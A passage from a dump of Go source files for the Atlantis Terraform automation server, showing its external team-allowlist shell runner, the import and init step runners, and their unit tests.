    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"strings\"\n\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_external_team_allowlist_runner.go ExternalTeamAllowlistRunner\ntype ExternalTeamAllowlistRunner interface {\n\tRun(ctx models.TeamAllowlistCheckerContext, shell, shellArgs, command string) (string, error)\n}\n\ntype DefaultExternalTeamAllowlistRunner struct{}\n\nfunc (r DefaultExternalTeamAllowlistRunner) Run(ctx models.TeamAllowlistCheckerContext, shell, shellArgs, command string) (string, error) {\n\tshellArgsSlice := append(strings.Split(shellArgs, \" \"), command)\n\tcmd := exec.CommandContext(context.TODO(), shell, shellArgsSlice...) // #nosec\n\n\tbaseEnvVars := os.Environ()\n\tcustomEnvVars := map[string]string{\n\t\t\"BASE_BRANCH_NAME\": ctx.Pull.BaseBranch,\n\t\t\"BASE_REPO_NAME\":   ctx.BaseRepo.Name,\n\t\t\"BASE_REPO_OWNER\":  ctx.BaseRepo.Owner,\n\t\t\"COMMENT_ARGS\":     strings.Join(ctx.EscapedCommentArgs, \",\"),\n\t\t\"HEAD_BRANCH_NAME\": ctx.Pull.HeadBranch,\n\t\t\"HEAD_COMMIT\":      ctx.Pull.HeadCommit,\n\t\t\"HEAD_REPO_NAME\":   ctx.HeadRepo.Name,\n\t\t\"HEAD_REPO_OWNER\":  ctx.HeadRepo.Owner,\n\t\t\"PULL_AUTHOR\":      ctx.Pull.Author,\n\t\t\"PULL_NUM\":         fmt.Sprintf(\"%d\", ctx.Pull.Num),\n\t\t\"PULL_URL\":         ctx.Pull.URL,\n\t\t\"USER_NAME\":        ctx.User.Username,\n\t\t\"COMMAND_NAME\":     ctx.CommandName,\n\t\t\"PROJECT_NAME\":     ctx.ProjectName,\n\t\t\"REPO_ROOT\":        ctx.RepoDir,\n\t\t\"REPO_REL_PATH\":    ctx.RepoRelDir,\n\t}\n\n\tfinalEnvVars := baseEnvVars\n\tfor key, val := range customEnvVars {\n\t\tfinalEnvVars = append(finalEnvVars, fmt.Sprintf(\"%s=%s\", key, val))\n\t}\n\tcmd.Env = finalEnvVars\n\tout, err := cmd.CombinedOutput()\n\n\tif err != nil {\n\t\terr = fmt.Errorf(\"%s: running %q: \\n%s\", err, shell+\" \"+shellArgs+\" \"+command, out)\n\t\tctx.Log.Debug(\"error: %s\", err)\n\t\treturn string(out), err\n\t}\n\n\treturn strings.TrimSpace(string(out)), nil\n}\n"
  },
  {
    "path": "server/core/runtime/import_step_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\n\tversion \"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/utils\"\n)\n\ntype importStepRunner struct {\n\tterraformExecutor     TerraformExec\n\tdefaultTFDistribution terraform.Distribution\n\tdefaultTFVersion      *version.Version\n}\n\nfunc NewImportStepRunner(terraformExecutor TerraformExec, defaultTfDistribution terraform.Distribution, defaultTfVersion *version.Version) Runner {\n\trunner := &importStepRunner{\n\t\tterraformExecutor:     terraformExecutor,\n\t\tdefaultTFDistribution: defaultTfDistribution,\n\t\tdefaultTFVersion:      defaultTfVersion,\n\t}\n\treturn NewWorkspaceStepRunnerDelegate(terraformExecutor, defaultTfDistribution, defaultTfVersion, runner)\n}\n\nfunc (p *importStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) {\n\ttfDistribution := p.defaultTFDistribution\n\ttfVersion := p.defaultTFVersion\n\tif ctx.TerraformDistribution != nil {\n\t\ttfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution)\n\t}\n\tif ctx.TerraformVersion != nil {\n\t\ttfVersion = ctx.TerraformVersion\n\t}\n\n\timportCmd := []string{\"import\"}\n\timportCmd = append(importCmd, extraArgs...)\n\timportCmd = append(importCmd, ctx.EscapedCommentArgs...)\n\tout, err := p.terraformExecutor.RunCommandWithVersion(ctx, filepath.Clean(path), importCmd, envs, tfDistribution, tfVersion, ctx.Workspace)\n\n\t// If the import was successful and a plan file exists, delete the plan.\n\tplanPath := filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName))\n\tif err == nil {\n\t\tif _, planPathErr := os.Stat(planPath); !os.IsNotExist(planPathErr) {\n\t\t\tctx.Log.Info(\"import successful, deleting planfile\")\n\t\t\tif removeErr := utils.RemoveIgnoreNonExistent(planPath); removeErr != nil {\n\t\t\t\tctx.Log.Warn(\"failed to delete planfile after successful import: %s\", removeErr)\n\t\t\t}\n\t\t}\n\t}\n\treturn out, err\n}\n"
  },
  {
    "path": "server/core/runtime/import_step_runner_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\ttf \"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform/mocks\"\n\ttfclientmocks \"github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestImportStepRunner_Run_Success(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tworkspace := \"default\"\n\ttmpDir := t.TempDir()\n\tplanPath := filepath.Join(tmpDir, fmt.Sprintf(\"%s.tfplan\", workspace))\n\terr := os.WriteFile(planPath, nil, 0600)\n\tOk(t, err)\n\n\tcontext := command.ProjectContext{\n\t\tLog:                logger,\n\t\tEscapedCommentArgs: []string{\"-var\", \"foo=bar\", \"addr\", \"id\"},\n\t\tWorkspace:          workspace,\n\t}\n\n\tRegisterMockTestingT(t)\n\tterraform := tfclientmocks.NewMockClient()\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\ttfVersion, _ := version.NewVersion(\"0.15.0\")\n\ts := NewImportStepRunner(terraform, tfDistribution, tfVersion)\n\n\tWhen(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())).\n\t\tThenReturn(\"output\", nil)\n\toutput, err := s.Run(context, []string{}, tmpDir, map[string]string(nil))\n\tOk(t, err)\n\tEquals(t, \"output\", output)\n\tcommands := []string{\"import\", \"-var\", \"foo=bar\", \"addr\", \"id\"}\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, commands, map[string]string(nil), tfDistribution, tfVersion, workspace)\n\t_, err = os.Stat(planPath)\n\tAssert(t, os.IsNotExist(err), \"planfile should be deleted\")\n}\n\nfunc TestImportStepRunner_Run_Workspace(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tworkspace := \"something\"\n\ttmpDir := t.TempDir()\n\tplanPath := filepath.Join(tmpDir, fmt.Sprintf(\"%s.tfplan\", workspace))\n\terr := os.WriteFile(planPath, nil, 0600)\n\tOk(t, err)\n\n\tcontext := command.ProjectContext{\n\t\tLog:                logger,\n\t\tEscapedCommentArgs: []string{\"-var\", \"foo=bar\", \"addr\", \"id\"},\n\t\tWorkspace:          workspace,\n\t}\n\n\tRegisterMockTestingT(t)\n\tterraform := tfclientmocks.NewMockClient()\n\ttfVersion, _ := version.NewVersion(\"0.15.0\")\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\ts := NewImportStepRunner(terraform, tfDistribution, tfVersion)\n\n\tWhen(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())).\n\t\tThenReturn(\"output\", nil)\n\toutput, err := s.Run(context, []string{}, tmpDir, map[string]string(nil))\n\tOk(t, err)\n\tEquals(t, \"output\", output)\n\n\t// switch workspace\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, []string{\"workspace\", \"show\"}, map[string]string(nil), tfDistribution, tfVersion, workspace)\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, []string{\"workspace\", \"select\", workspace}, map[string]string(nil), tfDistribution, tfVersion, workspace)\n\n\t// exec import\n\tcommands := []string{\"import\", \"-var\", \"foo=bar\", \"addr\", \"id\"}\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, commands, map[string]string(nil), tfDistribution, tfVersion, workspace)\n\n\t_, err = os.Stat(planPath)\n\tAssert(t, os.IsNotExist(err), \"planfile should be deleted\")\n}\n\nfunc TestImportStepRunner_Run_UsesConfiguredDistribution(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tworkspace := \"something\"\n\ttmpDir := t.TempDir()\n\tplanPath := filepath.Join(tmpDir, fmt.Sprintf(\"%s.tfplan\", workspace))\n\terr := os.WriteFile(planPath, nil, 0600)\n\tOk(t, err)\n\n\tprojTFDistribution := \"opentofu\"\n\tcontext := command.ProjectContext{\n\t\tLog:                   logger,\n\t\tEscapedCommentArgs:    []string{\"-var\", \"foo=bar\", \"addr\", \"id\"},\n\t\tWorkspace:             workspace,\n\t\tTerraformDistribution: &projTFDistribution,\n\t}\n\n\tRegisterMockTestingT(t)\n\tterraform := tfclientmocks.NewMockClient()\n\ttfVersion, _ := version.NewVersion(\"0.15.0\")\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\ts := NewImportStepRunner(terraform, tfDistribution, tfVersion)\n\n\tWhen(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())).\n\t\tThenReturn(\"output\", nil)\n\toutput, err := s.Run(context, []string{}, tmpDir, map[string]string(nil))\n\tOk(t, err)\n\tEquals(t, \"output\", output)\n\n\t// switch workspace\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(context), Eq(tmpDir), Eq([]string{\"workspace\", \"show\"}), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq(workspace))\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(context), Eq(tmpDir), Eq([]string{\"workspace\", \"select\", workspace}), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq(workspace))\n\n\t// exec import\n\tcommands := []string{\"import\", \"-var\", \"foo=bar\", \"addr\", \"id\"}\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(context), Eq(tmpDir), Eq(commands), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq(workspace))\n\n\t_, err = os.Stat(planPath)\n\tAssert(t, os.IsNotExist(err), \"planfile should be deleted\")\n}\n"
  },
  {
    "path": "server/core/runtime/init_step_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"path/filepath\"\n\n\tversion \"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime/common\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/utils\"\n)\n\n// InitStep runs `terraform init`.\ntype InitStepRunner struct {\n\tTerraformExecutor     TerraformExec\n\tDefaultTFDistribution terraform.Distribution\n\tDefaultTFVersion      *version.Version\n}\n\nfunc (i *InitStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) {\n\tlockFileName := \".terraform.lock.hcl\"\n\tterraformLockfilePath := filepath.Join(path, lockFileName)\n\tterraformLockFileTracked, err := common.IsFileTracked(path, lockFileName)\n\tif err != nil {\n\t\tctx.Log.Warn(\"Error checking if %s is tracked in %s\", lockFileName, path)\n\t}\n\t// If .terraform.lock.hcl is not tracked in git and it exists prior to init\n\t// delete it as it probably has been created by a previous run of\n\t// terraform init\n\tif common.FileExists(terraformLockfilePath) && !terraformLockFileTracked {\n\t\tctx.Log.Debug(\"Deleting `%s` that was generated by previous terraform init\", terraformLockfilePath)\n\t\tdelErr := utils.RemoveIgnoreNonExistent(terraformLockfilePath)\n\t\tif delErr != nil {\n\t\t\tctx.Log.Info(\"Error Deleting `%s`\", lockFileName)\n\t\t}\n\t}\n\n\ttfDistribution := i.DefaultTFDistribution\n\tif ctx.TerraformDistribution != nil {\n\t\ttfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution)\n\t}\n\n\ttfVersion := i.DefaultTFVersion\n\tif ctx.TerraformVersion != nil {\n\t\ttfVersion = ctx.TerraformVersion\n\t}\n\n\tterraformInitVerb := []string{\"init\"}\n\tterraformInitArgs := []string{\"-input=false\"}\n\n\t// If we're running < 0.9 we have to use `terraform get` instead of `init`.\n\tif MustConstraint(\"< 0.9.0\").Check(tfVersion) {\n\t\tctx.Log.Info(\"running terraform version %s so will use `get` instead of `init`\", tfVersion)\n\t\tterraformInitVerb = []string{\"get\"}\n\t\tterraformInitArgs = []string{}\n\t}\n\n\tif MustConstraint(\"< 0.14.0\").Check(tfVersion) || !common.FileExists(terraformLockfilePath) {\n\t\tterraformInitArgs = append(terraformInitArgs, \"-upgrade\")\n\t}\n\n\tfinalArgs := common.DeDuplicateExtraArgs(terraformInitArgs, extraArgs)\n\n\tterraformInitCmd := append(terraformInitVerb, finalArgs...)\n\n\tout, err := i.TerraformExecutor.RunCommandWithVersion(ctx, path, terraformInitCmd, envs, tfDistribution, tfVersion, ctx.Workspace)\n\t// Only include the init output if there was an error. Otherwise it's\n\t// unnecessary and lengthens the comment.\n\tif err != nil {\n\t\treturn out, err\n\t}\n\treturn \"\", nil\n}\n"
  },
  {
    "path": "server/core/runtime/init_step_runner_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime_test\n\nimport (\n\t\"errors\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"testing\"\n\n\tversion \"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\n\t\"github.com/runatlantis/atlantis/server/core/runtime\"\n\ttf \"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform/mocks\"\n\ttfclientmocks \"github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestRun_UsesGetOrInitForRightVersion(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\tcases := []struct {\n\t\tversion string\n\t\texpCmd  string\n\t}{\n\t\t{\n\t\t\t\"0.8.9\",\n\t\t\t\"get\",\n\t\t},\n\t\t{\n\t\t\t\"0.9.0\",\n\t\t\t\"init\",\n\t\t},\n\t\t{\n\t\t\t\"0.9.1\",\n\t\t\t\"init\",\n\t\t},\n\t\t{\n\t\t\t\"0.10.0\",\n\t\t\t\"init\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.version, func(t *testing.T) {\n\t\t\tterraform := tfclientmocks.NewMockClient()\n\n\t\t\tlogger := logging.NewNoopLogger(t)\n\t\t\tctx := command.ProjectContext{\n\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tLog:        logger,\n\t\t\t}\n\n\t\t\ttfVersion, _ := version.NewVersion(c.version)\n\t\t\tiso := runtime.InitStepRunner{\n\t\t\t\tTerraformExecutor:     terraform,\n\t\t\t\tDefaultTFDistribution: tfDistribution,\n\t\t\t\tDefaultTFVersion:      tfVersion,\n\t\t\t}\n\t\t\tWhen(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())).\n\t\t\t\tThenReturn(\"output\", nil)\n\n\t\t\toutput, err := iso.Run(ctx, []string{\"extra\", \"args\"}, \"/path\", map[string]string(nil))\n\t\t\tOk(t, err)\n\t\t\t// When there is no error, should not return init output to PR.\n\t\t\tEquals(t, \"\", output)\n\n\t\t\t// If using init then we specify -input=false but not for get.\n\t\t\texpArgs := []string{c.expCmd, \"-input=false\", \"-upgrade\", \"extra\", \"args\"}\n\t\t\tif c.expCmd == \"get\" {\n\t\t\t\texpArgs = []string{c.expCmd, \"-upgrade\", \"extra\", \"args\"}\n\t\t\t}\n\t\t\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, \"/path\", expArgs, map[string]string(nil), tfDistribution, tfVersion, \"workspace\")\n\t\t})\n\t}\n}\n\nfunc TestInitStepRunner_TestRun_UsesConfiguredDistribution(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\tcases := []struct {\n\t\tversion      string\n\t\tdistribution string\n\t\texpCmd       string\n\t}{\n\t\t{\n\t\t\t\"0.8.9\",\n\t\t\t\"opentofu\",\n\t\t\t\"get\",\n\t\t},\n\t\t{\n\t\t\t\"0.8.9\",\n\t\t\t\"terraform\",\n\t\t\t\"get\",\n\t\t},\n\t\t{\n\t\t\t\"0.9.0\",\n\t\t\t\"opentofu\",\n\t\t\t\"init\",\n\t\t},\n\t\t{\n\t\t\t\"0.9.1\",\n\t\t\t\"terraform\",\n\t\t\t\"init\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.version, func(t *testing.T) {\n\t\t\tterraform := tfclientmocks.NewMockClient()\n\n\t\t\tlogger := logging.NewNoopLogger(t)\n\t\t\tctx := command.ProjectContext{\n\t\t\t\tWorkspace:             \"workspace\",\n\t\t\t\tRepoRelDir:            \".\",\n\t\t\t\tLog:                   logger,\n\t\t\t\tTerraformDistribution: &c.distribution,\n\t\t\t}\n\n\t\t\ttfVersion, _ := version.NewVersion(c.version)\n\t\t\tiso := runtime.InitStepRunner{\n\t\t\t\tTerraformExecutor:     terraform,\n\t\t\t\tDefaultTFDistribution: tfDistribution,\n\t\t\t\tDefaultTFVersion:      tfVersion,\n\t\t\t}\n\t\t\tWhen(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())).\n\t\t\t\tThenReturn(\"output\", nil)\n\n\t\t\toutput, err := iso.Run(ctx, []string{\"extra\", \"args\"}, \"/path\", map[string]string(nil))\n\t\t\tOk(t, err)\n\t\t\t// When there is no error, should not return init output to PR.\n\t\t\tEquals(t, \"\", output)\n\n\t\t\t// If using init then we specify -input=false but not for get.\n\t\t\texpArgs := []string{c.expCmd, \"-input=false\", \"-upgrade\", \"extra\", \"args\"}\n\t\t\tif c.expCmd == \"get\" {\n\t\t\t\texpArgs = []string{c.expCmd, \"-upgrade\", \"extra\", \"args\"}\n\t\t\t}\n\t\t\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(ctx), Eq(\"/path\"), Eq(expArgs), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq(\"workspace\"))\n\t\t})\n\t}\n}\n\nfunc TestRun_ShowInitOutputOnError(t *testing.T) {\n\t// If there was an error during init then we want the output to be returned.\n\tRegisterMockTestingT(t)\n\ttfClient := tfclientmocks.NewMockClient()\n\tlogger := logging.NewNoopLogger(t)\n\tWhen(tfClient.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())).\n\t\tThenReturn(\"output\", errors.New(\"error\"))\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\ttfVersion, _ := version.NewVersion(\"0.11.0\")\n\tiso := runtime.InitStepRunner{\n\t\tTerraformExecutor:     tfClient,\n\t\tDefaultTFDistribution: tfDistribution,\n\t\tDefaultTFVersion:      tfVersion,\n\t}\n\n\toutput, err := iso.Run(command.ProjectContext{\n\t\tWorkspace:  \"workspace\",\n\t\tRepoRelDir: \".\",\n\t\tLog:        logger,\n\t}, nil, \"/path\", map[string]string(nil))\n\tErrEquals(t, \"error\", err)\n\tEquals(t, \"output\", output)\n}\n\nfunc TestRun_InitOmitsUpgradeFlagIfLockFileTracked(t *testing.T) {\n\t// Initialize the git repo.\n\trepoDir := initRepo(t)\n\n\tlockFilePath := filepath.Join(repoDir, \".terraform.lock.hcl\")\n\terr := os.WriteFile(lockFilePath, nil, 0600)\n\tOk(t, err)\n\t// commit lock file\n\trunCmd(t, repoDir, \"git\", \"add\", \".terraform.lock.hcl\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"add .terraform.lock.hcl\")\n\n\tlogger := logging.NewNoopLogger(t)\n\tctx := command.ProjectContext{\n\t\tWorkspace:  \"workspace\",\n\t\tRepoRelDir: \".\",\n\t\tLog:        logger,\n\t}\n\n\tRegisterMockTestingT(t)\n\tterraform := tfclientmocks.NewMockClient()\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\ttfVersion, _ := version.NewVersion(\"0.14.0\")\n\tiso := runtime.InitStepRunner{\n\t\tTerraformExecutor:     terraform,\n\t\tDefaultTFDistribution: tfDistribution,\n\t\tDefaultTFVersion:      tfVersion,\n\t}\n\tWhen(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())).\n\t\tThenReturn(\"output\", nil)\n\n\toutput, err := iso.Run(ctx, []string{\"extra\", \"args\"}, repoDir, map[string]string(nil))\n\tOk(t, err)\n\t// When there is no error, should not return init output to PR.\n\tEquals(t, \"\", output)\n\n\texpectedArgs := []string{\"init\", \"-input=false\", \"extra\", \"args\"}\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, repoDir, expectedArgs, map[string]string(nil), tfDistribution, tfVersion, \"workspace\")\n}\n\nfunc TestRun_InitKeepsUpgradeFlagIfLockFileNotPresent(t *testing.T) {\n\ttmpDir := t.TempDir()\n\n\tRegisterMockTestingT(t)\n\tterraform := tfclientmocks.NewMockClient()\n\tlogger := logging.NewNoopLogger(t)\n\tctx := command.ProjectContext{\n\t\tWorkspace:  \"workspace\",\n\t\tRepoRelDir: \".\",\n\t\tLog:        logger,\n\t}\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\ttfVersion, _ := version.NewVersion(\"0.14.0\")\n\tiso := runtime.InitStepRunner{\n\t\tTerraformExecutor:     terraform,\n\t\tDefaultTFDistribution: tfDistribution,\n\t\tDefaultTFVersion:      tfVersion,\n\t}\n\tWhen(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())).\n\t\tThenReturn(\"output\", nil)\n\n\toutput, err := iso.Run(ctx, []string{\"extra\", \"args\"}, tmpDir, map[string]string(nil))\n\tOk(t, err)\n\t// When there is no error, should not return init output to PR.\n\tEquals(t, \"\", output)\n\n\texpectedArgs := []string{\"init\", \"-input=false\", \"-upgrade\", \"extra\", \"args\"}\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, tmpDir, expectedArgs, map[string]string(nil), tfDistribution, tfVersion, \"workspace\")\n}\n\nfunc TestRun_InitKeepUpgradeFlagIfLockFilePresentAndTFLessThanPoint14(t *testing.T) {\n\ttmpDir := t.TempDir()\n\tlockFilePath := filepath.Join(tmpDir, \".terraform.lock.hcl\")\n\terr := os.WriteFile(lockFilePath, nil, 0600)\n\tOk(t, err)\n\n\tRegisterMockTestingT(t)\n\tterraform := tfclientmocks.NewMockClient()\n\n\tlogger := logging.NewNoopLogger(t)\n\tctx := command.ProjectContext{\n\t\tWorkspace:  \"workspace\",\n\t\tRepoRelDir: \".\",\n\t\tLog:        logger,\n\t}\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\ttfVersion, _ := version.NewVersion(\"0.13.0\")\n\tiso := runtime.InitStepRunner{\n\t\tTerraformExecutor:     terraform,\n\t\tDefaultTFDistribution: tfDistribution,\n\t\tDefaultTFVersion:      tfVersion,\n\t}\n\tWhen(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())).\n\t\tThenReturn(\"output\", nil)\n\n\toutput, err := iso.Run(ctx, []string{\"extra\", \"args\"}, tmpDir, map[string]string(nil))\n\tOk(t, err)\n\t// When there is no error, should not return init output to PR.\n\tEquals(t, \"\", output)\n\n\texpectedArgs := []string{\"init\", \"-input=false\", \"-upgrade\", \"extra\", \"args\"}\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, tmpDir, expectedArgs, map[string]string(nil), tfDistribution, tfVersion, \"workspace\")\n}\n\nfunc TestRun_InitExtraArgsDeDupe(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tcases := []struct {\n\t\tdescription  string\n\t\textraArgs    []string\n\t\texpectedArgs []string\n\t}{\n\t\t{\n\t\t\t\"No extra args\",\n\t\t\t[]string{},\n\t\t\t[]string{\"init\", \"-input=false\", \"-upgrade\"},\n\t\t},\n\t\t{\n\t\t\t\"Override -upgrade\",\n\t\t\t[]string{\"-upgrade=false\"},\n\t\t\t[]string{\"init\", \"-input=false\", \"-upgrade=false\"},\n\t\t},\n\t\t{\n\t\t\t\"Override -input\",\n\t\t\t[]string{\"-input=true\"},\n\t\t\t[]string{\"init\", \"-input=true\", \"-upgrade\"},\n\t\t},\n\t\t{\n\t\t\t\"Override -input and -upgrade\",\n\t\t\t[]string{\"-input=true\", \"-upgrade=false\"},\n\t\t\t[]string{\"init\", \"-input=true\", \"-upgrade=false\"},\n\t\t},\n\t\t{\n\t\t\t\"Non duplicate extra args\",\n\t\t\t[]string{\"extra\", \"args\"},\n\t\t\t[]string{\"init\", \"-input=false\", \"-upgrade\", \"extra\", \"args\"},\n\t\t},\n\t\t{\n\t\t\t\"Override upgrade with extra args\",\n\t\t\t[]string{\"extra\", \"args\", \"-upgrade=false\"},\n\t\t\t[]string{\"init\", \"-input=false\", \"-upgrade=false\", \"extra\", \"args\"},\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tterraform := tfclientmocks.NewMockClient()\n\n\t\t\tlogger := logging.NewNoopLogger(t)\n\t\t\tctx := command.ProjectContext{\n\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tLog:        logger,\n\t\t\t}\n\t\t\tmockDownloader := mocks.NewMockDownloader()\n\t\t\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\t\t\ttfVersion, _ := version.NewVersion(\"0.10.0\")\n\t\t\tiso := runtime.InitStepRunner{\n\t\t\t\tTerraformExecutor:     terraform,\n\t\t\t\tDefaultTFDistribution: tfDistribution,\n\t\t\t\tDefaultTFVersion:      tfVersion,\n\t\t\t}\n\t\t\tWhen(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())).\n\t\t\t\tThenReturn(\"output\", nil)\n\n\t\t\toutput, err := iso.Run(ctx, c.extraArgs, \"/path\", map[string]string(nil))\n\t\t\tOk(t, err)\n\t\t\t// When there is no error, should not return init output to PR.\n\t\t\tEquals(t, \"\", output)\n\n\t\t\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, \"/path\", c.expectedArgs, map[string]string(nil), tfDistribution, tfVersion, \"workspace\")\n\t\t})\n\t}\n}\n\nfunc TestRun_InitDeletesLockFileIfPresentAndNotTracked(t *testing.T) {\n\t// Initialize the git repo.\n\trepoDir := initRepo(t)\n\n\tlockFilePath := filepath.Join(repoDir, \".terraform.lock.hcl\")\n\terr := os.WriteFile(lockFilePath, nil, 0600)\n\tOk(t, err)\n\n\tRegisterMockTestingT(t)\n\tterraform := tfclientmocks.NewMockClient()\n\n\tlogger := logging.NewNoopLogger(t)\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\ttfVersion, _ := version.NewVersion(\"0.14.0\")\n\n\tiso := runtime.InitStepRunner{\n\t\tTerraformExecutor:     terraform,\n\t\tDefaultTFDistribution: tfDistribution,\n\t\tDefaultTFVersion:      tfVersion,\n\t}\n\tWhen(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), 